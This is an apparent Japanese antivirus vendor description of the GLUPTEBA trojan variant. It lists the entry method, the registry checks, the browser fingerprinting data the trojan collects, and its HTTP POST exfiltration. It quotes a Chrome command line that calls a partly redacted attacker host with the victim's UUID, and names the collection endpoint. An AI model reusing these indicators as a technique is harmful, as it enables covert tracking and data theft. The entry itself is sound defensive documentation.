Trojan.Win32.GLUPTEBA.WLGG

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。 マルウェアは、他のマルウェアまたはグレイウェアのパッケージとともにコンポーネントとして、コンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、感染コンピュータ上の特定の情報を収集します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、他のマルウェアまたはグレイウェアのパッケージとともにコンポーネントとして、コンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• to execute browser-based fingerprinting script:
  • %Program Files%\Google\Chrome\Application\chrome.exe http://{BLOCKED}nee.com/{BLOCKED}.php?uuid={UUID data}&browser=chrome

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません。

情報漏えい

マルウェアは、感染コンピュータ上の以下の情報を収集します。

• UUID from registry key TestApp/{hex generated from SID}
• Gathered via browser-based fingerprinting script:
  • Ad block Support
  • CPU Information
  • Language
  • Local Storage
  • OS Information
  • Plugins
  • SWF Object or Flash Support
  • Screen Information (Resolution, Color depth)
  • Session Storage
  • Timezone
  • Touch Support
  • User Agent
  • User's Do Not Track setting
  • WebGL Support

情報収集

マルウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

• https://{BLOCKED}nee.com/fp.php

その他

マルウェアは、以下を実行します。

• Checks if one of the following registry entries exists to continue with its malicious routine:
  • HKEY_USERS\{User SID}\Software\Microsoft\TestApp
    UUID = {string}
  • HKEY_USERS\{User SID}\Software\Microsoft\{hex generated from SID}
    UUID = {string}
• Finds chrome application from the following paths:
  • %System Root%\Program Files\Google\Chrome\Application\chrome.exe
  • %System Root%\Program Files (x86)\Google\Chrome\Application\chrome.exe

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
インストール

マルウェアは、以下のプロセスを追加します。

• 以下にアクセスして、ブラウザベースのフィンガープリントスクリプトを実行します。
  • %Program Files%\Google\Chrome\Application\chrome.exe http://{BLOCKED}nee.com/{BLOCKED}.php?uuid={UUIDデータ}&browser=chrome

情報漏えい

マルウェアは、感染コンピュータ上の以下の情報を収集します。

• レジストリキー「TestApp / {SIDから生成された16進数}」からの汎用一意識別子（UUID）
• ブラウザベースのフィンガープリントスクリプトを介して、以下の情報を収集します。
  • 広告ブロックのサポート
  • CPU情報
  • 言語
  • ローカルストレージ
  • オペレーティングシステム（OS）情報
  • プラグイン
  • SWFオブジェクトあるいはFlashのサポート
  • 画面情報（解像度、色深度）
  • セッションストレージ
  • タイムゾーン
  • タッチサポート
  • ユーザ・エージェント
  • ユーザの「追跡しない（Do Not Track）」設定
  • WebGLのサポート

その他

マルウェアは、以下を実行します。

• 以下のレジストリエントリのいずれかが存在するかどうかを確認して、自身の不正活動を継続します。
  • HKEY_USERS\{ユーザのSID}\Software\Microsoft\TestApp
    UUID = {文字列}
  • HKEY_USERS\{ユーザのSID}\Software\Microsoft\{SIDから生成された16進数}
    UUID = {文字列}
• 以下のパスからChromeアプリケーションを検索します。
  • %System Root%\Program Files\Google\Chrome\Application\chrome.exe
  • %System Root%\Program Files (x86)\Google\Chrome\Application\chrome.exe